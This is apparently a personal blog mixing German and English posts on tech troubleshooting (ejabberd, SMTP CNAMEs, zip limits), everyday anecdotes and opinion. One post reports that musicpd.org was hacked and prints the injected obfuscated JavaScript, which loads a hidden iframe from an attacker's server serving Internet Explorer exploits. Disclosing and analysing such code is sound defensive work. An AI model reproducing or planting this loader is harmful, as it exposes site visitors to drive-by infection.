Scheiß Fahne
Gestern in der Bahn.
Mir sitzen zwei junge Damen Tussen gegenüber.
Wir fahren am Mannheimer Schloss vorbei, als der Blick einer von ihnen auf die Flagge fällt, die auf dem Mittelbau weht.
Es sei dem Leser zur Vertiefung überlassen, herauszufinden, was sie wohl sah, um sich zu folgendem Satz hinreißen zu lassen:
Was'n das für ne scheiß Fahne? Da fehlt ja voll das Rot drin!
Ziegelstein-Blitz
Das Web wird nicht zwingend langweiliger, wenn man ohne Flash-Plugin unterwegs ist. Gut, oft bekommt man Webseiten einfach nicht zu sehen, weil die Entwickler zu faul und/oder zu blöd für eine HTML-Version waren. Manchmal bekommt man aber auch solche Goldstücke:
Da wurde wohl was völlig ohne Nachdenken durch den maschinellen Übersetzer gejagt.
Ursprünglich hieß das wohl einfach MOTO Z8 site requires Adobe Flash 8.0
, und wenn man das ganz wörtlich nimmt und sogar Adobe übersetzt, bekommt man eben die Z8-Website.
Au weia.
Fixing SSL problems in ejabberd on Gentoo
Recently a Jabber contact of mine sent me an e-mail saying that he didn't see me online for weeks, asking whether something's broken with my Jabber server. I started investigating and found out that indeed server-to-server connections between my host and jabber.ccc.de didn't work since I rebooted the server machine on December 20.
First I thought that the problem was based on DNS SRV records, because jabber.ccc.de requires support for them. There is a nice howto page on the ejabberd web site about fixing DNS SRV, but running the provided test case showed that SRV already worked quite fine on my server.
Peeking into the log files I saw messages about a module called PKIX1Explicit88 and that it could not be loaded. On Gentoo, stuff like that is caused mostly by ABIs that were broken when updating packages, and solved by updating dependent software. So what I did was to try re-merging Erlang and ejabberd, only to find out that the ejabberd compile would die.
Enter Gentoo's bug tracker.
I found two bugs about this problem, namely net-im/ejabberd-1.1.4 does not build with dev-lang/erlang-12.2.0 which basically says uhm, it's somehow broken with Erlang 12B, but we don't know why
, and dev-lang/erlang-11.2.5: QA: TEXTREL usr/lib/erlang/lib/crypto-1.5.1.1/priv/lib/crypto_drv.so which explained why only a handfull of people experienced this bug:
It seems like you have to use the unstable branch of Gentoo and the "hardened" profile, and ejabberd.
As Jakub says on the bug: Well, this completely breaks SSL support on hardened, causing b0rkage w/ stuff like net-im/ejabberd.
I now had three choices: Wait for the developers to resolve the problem, work on the bug myself or downgrade Erlang. Since I was in a bit of a hurry, I decided for the latter, and now my Jabber server works flawlessly again.
Oh, by the way, I must admit that I'm a bit (or maybe more) scared about what is being said in the first bug, starting from comment #6:
I feel that ejabberd would benefit from a maintainer with actual erlang knowledge. [...] Christian, Jan, are you interested in maintaining this?
—
I have zero erlang knowledge [...]
—
I only maintain Erlang because of sense of duty...I know nothing about it.
SourceForge sending HTML-only spam
No idea whether that belongs to "Site Updates" or "community mailings", the two announcement lists on SourceForge I'm subscribed to, as it's not mentioned in the mail. But there's got to be something seriously wrong when you're the largest web site for open source collaboration and think that you can send HTML-only mails to all the hardcore nerds you call your users.
But this mail finally gave me a reason to terminate my account, which I hadn't been using for years anyway.
musicpd.org hacked
Today I used my Windows XP box and its Internet Explorer 6 SP 2 to surf to MusicPD's website. But while loading the page my hard drive worked quite a lot and IE showed me a script error. That made me suspicious, and I had a look into the source code.
There, even before the Doctype, the following code appeared:
<html> <body> <Script Language='Javascript'> <!-- document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%31%6E%74%72%30%2E%63%6F%6D%2F%74%65%73%74%2F%67%6F%2E%70%68%70%3F%73%69%64%3D%36%22%20%73%74%79%6C%65%3D%22%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%20%64%69%73%70%6C%61%79%3A%20%6E%6F%6E%65%22%3E%3C%2F%69%66%72%61%6D%65%3E')); //--> </script> </html> </body>
The unencoded string adds an IFrame that leads to a web page which seems to only show its dangerous contents to Internet Explorer users. While I am writing this, it seems the attackers have noticed my analysis and replaced the code with an empty page. However, I've got a local copy... ;) I've not yet finished the reverse engineering of that code, but it seems they try to use, among others, a security vulnerability from 2005 to execute an arbitrary file on the client host. Luckily I managed to get a copy of that executable as well. Will be fun to analyze in a virtual machine.
For me it seems as if there was no high risk to the visitors of the mpd website, at least if they're using a recently patched Windows. But I haven't looked at all of the exploits yet, I'll keep you updated. Oh, the password for the GPG encrypted files I linked above is "baz00ka".
AStA-Party macht 200.000 Euro Verlust
Keine Angst, Mannheimer Stammleser. Das war in Bochum. Der dortige AStA hat für seine Mensaparty unter anderem Juli, 2raumwohnung und Joy Denalane eingeladen – für nur 5000 geplante Besucher, von denen auch noch gerade mal 2000 kamen. Ergebnis: Die gesetzlich vorgeschriebenen Rücklagen "für absolute Notfälle" in Höhe von 160.000 Euro werden wohl aufgebraucht werden müssen, der inzwischen zurückgetretene Vorsitzende Fabian Ferber schließt nicht aus, dass bis zu einer Fünftelmillion Euro Verlust gemacht wurden.
Aber hey, so'n richtiges Staraufgebot würde mich auch mal wieder auf ne Mensaparty locken... Dem AStA Mannheim mal Björk vorschlagen, oder Madonna oder so. Hey, Britney Spears dürfte günstig zu haben sein!
iCTF Vorab-News
Bevor ihr eure Nachrichten wieder von der Website vom Verlag der c't holen müsst: Das Mannheimer Team squareroots, das letztes Jahr beim iCTF aufgrund von nem fiesen Fuckup noch zweiter von hinten wurde, ist dieses Jahr zweiter von vorne, nur übertroffen von den Chocolate Makers aus Mailand und noch weit vor den Lieblingsrivalen aus Aachen oder Darmstadt. Ausführlicher Bericht folgt.
EuroBillTracker
Gerade im Wiki der Karlsruher eine wunderbare neue Zeitverschwendung ausgegraben: Bei EuroBillTracker (EBT) gibt man möglichst jeden Euro-Schein ein, den man bekommt, und wo man ihn erhalten hat. Mit etwas Glück war auch einer der Vorbesitzer schon EBT-Benutzer und man kann nachverfolgen, welchen Weg der Schein genommen hat. Klingt nach einem spaßigen Projekt. Die zwei Scheine, die ich momentan bei mir habe, sieht die Datenbank zwar zum ersten Mal, aber ich werd da mal ne Weile mitmachen.
Denkfehler der Woche, KW 48
Man benutze grep -qv, um herauszufinden, ob ein String in einer Datei nicht vorkommt.
Zippen von >2GB-Dateien
Der Quasi-Standard für das Erstellen von PKZIP-Dateien unter Unix, Zip, hat (zumindest auf meinem Rechner) Probleme beim Hinzufügen einer Datei, die größer als 2 Gigabyte ist. Das scheint ein bisschen mit den bekannten Limitierungen zu tun zu haben, aber nicht wirklich. Ideen, wie ich trotzdem eine große Datei in ein von Windows und OS X mit Bordmitteln lesbares Archiv kloppen kann, sind erbeten. Die Tools müssen unter Linux laufen, da die Datei bereits auf meinen Rootserver hochgeladen ist und ein nochmaliger Upload keine Alternative ist.
Email Standards Project
A friend recently pointed me to email-standards.org, because Internet Mail and its standards are some of my favorite subjects. I was, however, quite surprised when I found out what that web site was all about.
When I hear "e-mail standards", I think of RFC 2822, Microsoft's Thread-Index crap, SPF or maybe the Netiquette.
The "Email Standards Project" is about none of them.
When you go to their homepage, it lists some mail clients and their state
, which is either Excellent
, Average
or Poor
.
I did what maybe everyone would be doing first:
Find my own client, Mutt, in that list.
It wasn't there, although it is in my opinion one of the most standards-compliant clients out there.
So I had a look on what they were testing the clients for, and wondered why they called their test suite acid test, like a famous other one.
Then I found out why.
The project that calls itself "Email Standards Project" is not about e-mail standards, but about the level of CSS in HTML e-mail support in various clients. Their goal is to become a kind of reference for newsletter designers and to push mail client vendors to support more CSS than they do right now.
While I think that this is a nice thing for people who really need it, I have two big problems with the project as it is right now:
- Their website completely lacks information about why HTML mail might probably be a bad thing and how to stop annoying people who cannot or do not want to read HTML in their mails. (Hint: Make all the content in the mail available as plain text as well, don't just display "click here to read this in your browser" or "your client does not support HTML". If the project is about CSS because CSS improves accessibility, then don't forget that plain text is accessibility as well.)
- The project name is just wrong. It should be something like "HTML Email Standards Project" or "Rich Newsletter Formatting Project". E-mail standards are something completely different. On the other hand, Microsoft's company name is as sucky, and they make lots of money. Bloatysoft wouldn't sound too good anyway.
Concerning everything else that project does: Yeah, nice, keep it up. I don't really care, because I hate HTML mail from the bottom of my soul, but if it helps the poor designers who are forced to write "rich e-mail", then so be it. But please, just add some information on how to keep people like me from pulling their hair out because of HTML-only mail.
Es gibt Dinge, die kann man nicht kaufen.
So zum Beispiel den ersten Receiver seines Vaters, einen Technics SA-424:
Ich hatte mir sowas schon gedacht, als er gestern auf meiner kleinen nachträglichen Geburtstagsfeier zu mir sagte Ich hab da noch was unten im Auto...
, aber das Gefühl, dass diese Kiste jetzt wirklich mir gehört, ist schon überwältigend.
Vor dem Gerät bin ich als kleines Kind zu Jennifer Rush, Nena oder der EAV rumgedopst und hab Respekt vor dem Lautstärkeregler bekommen, der ab ca. 30 % die Nachbarn auf den Plan ruft.
Der Klang aus den ebenfalls Anfang der Achtziger gekauften Boxen ist klasse; voll und warm.
Das dazugehörige Tapedeck, an dem man noch das Material der Kassettenbänder einstellen konnte, hat leider bereits das Zeitliche gesegnet, aber der Receiver arbeitet einwandfrei und wird seit gestern Abend exzessiv genutzt.
Ihr müsst das nicht verstehen, das ist so 'ne Vater-Sohn-Geschichte.
Ich bin auf jeden Fall begeistert.
Danke, Paps!
CNAME-Rewriting eines Envelope Recipient
English readers: You might want to head over to a qmail-users thread which explains why rewriting envelope addresses to a CNAME target is "okay". German readers: Achtung, Fachchinesisch.
DNS-CNAMEs sind eine schöne Sache: Man kann damit ein Alias im DNS anlegen und muss komplexere Konfigurationen nicht immer wieder redundant neu erstellen. (Ja, es gibt in BIND sowas wie $INCLUDE, aber nicht jeder hat nen BIND.) Bis heute hatte ich das für folgendes Szenario im Einsatz:
Ich betreibe mehrere Mailinglisten und habe dafür einen Mailman installiert. Diese Listen laufen unter verschiedenen Domains, unter anderem lists.c3ma.de und lists.spilledwine.com. Damit ich nicht sowohl einen A-Record für das Webinterface als auch einen MX für den SMTP-Verkehr anlegen muss (die beiden IPs sind zwar gleich, könnten aber potenziell verschieden sein), sind die Listendomains als CNAME auf lists.scytale.name realisiert. lists.scytale.name selbst hostet wohlgemerkt (noch) keine Listen! Jetzt habe ich in meinen Mail-Logs folgendes gesehen:
2007-11-28 10:40:46 lowest numbered MX record points to local host: lists.scytale.name (while verifying <talk@lists.scytale.name> from host relay2.uni-heidelberg.de [129.206.210.211]) 2007-11-28 10:40:46 H=relay2.uni-heidelberg.de [129.206.210.211] F=<joachim.grabte@urz.uni-heidelberg.de> temporarily rejected RCPT <talk@lists.scytale.name>: lowest numbered MX record points to local host
Hier kommt also eine Mail an die Liste talk an. Diese Liste gehört aber eigentlich zu lists.c3ma.de, und nicht lists.scytale.name. Der versendende MTA schreibt also den Envelope Recipient auf das Ziel des CNAME-Records um. Diese Zieldomain ist allerdings gar nicht zum Empfang von Mails eingerichtet, weshalb sich mein Exim auch wundert, dass der MX-Record der Meinung ist, er wäre für die Mail zuständig ist, seine Konfigurationsdatei das aber ganz anders sieht.
Bislang dachte ich immer, dass der Absender-MTA nicht alle Tassen im Schrank hat: Nen FQDN in ner Envelope-Adresse umschreiben, geht's noch? DNS und SMTP sind zwei verschiedene Paar Stiefel, oder? Tja, denkste. In der Tat erzählt ein Thread auf qmail-users vom Dezember 2005 die Geschichte von RFC 821, RFC 2821 und den CNAMEs, und die lautet:
In dem auf August 1982 datierten Ur-RFC 821 für SMTP steht in Abschnitt 3.7 (außer dem unterhaltsamen Domains are a recently introduced concept in the ARPA Internet mail system
) der Satz Whenever domain names are used in SMTP only the official names are used, the use of nicknames or aliases is not allowed.
Das besagt relativ eindeutig, dass CNAMEs, die ja nun wirklich unmissverständlich Aliase sind, bei SMTP-Kommunikationen nicht verwendet werden dürfen.
Das Umschreiben der CNAMEs, selbst im Envelope, ist also nicht nur erlaubt, sondern sogar erforderlich.
Trotzdem machen es einige Mailserver nicht.
Warum?
Nun, das steht in dem anderen RFC, dem mit der Nummer 2821, das das ältere 821 auch überholt (Obsoletes: 821, [...]
), und zwar in Abschnitt 3.6 (Hervorhebung von mir):
[N]ames that can be resolved to MX RRs or A RRs [...] are permitted, as are CNAME RRs whose targets can be resolved, in turn, to MX or A RRs. Local nicknames or unqualified names MUST NOT be used.
Somit ist also die Verwendung von CNAMEs durchaus zulässig, ein Umschreiben aber weiterhin nicht verboten.
Es kommt erschwerend hinzu, dass es sich bei RFC 821 momentan um einen Standard handelt, bei RFC 2821 hingegen nur einen proposed standard
.
Man kann sich als Programmierer also quasi aussuchen, wonach man handelt.
Und aus dem Grund wird jetzt lists.scytale.name zum Empfang von Mail konfiguriert. Da bei Mailman sowieso nur der Local Part zählt, muss ich an den CNAMEs vorerst mal nichts umbiegen. Ham'wer wieder was gelernt, hoffentlich erleuchtet dieser zugegebenermaßen nur für eine bestimmte Zielgruppe interessante Artikel den einen oder anderen.
Rotes Blinken
Es ist eine willkommene Abwechslung, wenn man zum Fotografieren auf einem mäßig interessanten Abschlussball herumrennt und einem plötzlich ein zwölfjähriges Mädchen mit Papis Kamera entgegen kommt, auf der ein Speedlite EX sitzt, das in regelmäßigen Abständen rot blinkt. Dieses rote Blinken signalisiert einem gelangweilten Fiesling wie mir, dass sich der Blitz (unnötigerweise, wenn er auf der Kamera sitzt) im Slave-Modus befindet, also durch einen entsprechenden Masterblitz ferngesteuert werden kann.
Schön dass ich einen passenden Masterblitz dabeihatte und somit Spielchen wie "ich blitz dir was vor, du blitzt es nach" treiben konnte, sehr zur Verwunderung des kleinen Mädchens. Als ich dann auch noch die Beleuchtungsvorschau betätigte, bei der der Blitz ca. zwei Sekunden "konstant" leuchtet, straften mich die Eltern mit einem missbilligenden Blick und schalteten den Blitz ab. Genug unterhalten für den Rest des Abends war ich zu dem Zeitpunkt allerdings schon.
7:25 Uhr, Einschlag
Heute morgen wurde mir beim radlerischen Überqueren eines Bahnüberganges unmissverständlich mitgeteilt, dass dies wohl nicht mein Tag ist:
Der beteiligten Krähe hingegen möchte ich nahelegen, heute Lotto zu spielen. Es könnte sich lohnen.
Nochmal umgestaltet
So ziemlich genau einen Monat nach dem letzten Redesign gibt's jetzt wieder ein neues, dass ein paar lustige Spielereien enthält und meiner Meinung nach ein ganzes Stück besser ausschaut. Über die nächsten Tage wird es zumindest ein, womöglich auch mehrere "Making Of"s geben, um die lustigen Spielereien, die einem auf den ersten Blick gar nicht auffallen, zu erklären.
iPhone schickt IMEI nach Hause
Wer über sein supergeiles iPhone das Wetter oder die Börsenkurse abfragt, schickt auch gleich seine IMEI zu Apple. Ich bin mir sicher, dass sich das für ein paar tolle "location-based services" nutzen lässt. Mehr siehe Thread bei Hackintosh.
Update: Okay, in dem Parameter steht nicht die IMEI, sondern ein GUID. Was da allerdings drin reinverschlüsselt wurde, kann ich nicht nachvollziehen, da ich glücklicherweise kein iPhone habe, und schon gar nicht zwei. Es gibt Leute, die behaupten, es wäre halt einfach die selbe Nummer auf jedem Gerät, wenn man die selbe Softwareversion verwendet. Es gibt aber auch Fanbois, die sagen, es steht sehr wohl ne eindeutige Geräte-ID drin.
Was auch immer drinsteht, eigentlich ist es irrelevant. Denn die Leute, die ein iPhone besitzen, denen wird es sowieso egal sein. Von daher sage ich, wenn's euch juckt, macht euch selbst ein Bild davon, Links habt ihr ja jetzt genug, und das hier ist sicher kein Apfelblog. Das Fazit aus dem ursprünglichen Post bleibt bestehen:
Gruß an alle, die denken, Apple wäre irgendwie ansatzweise erträglicher als Microsoft.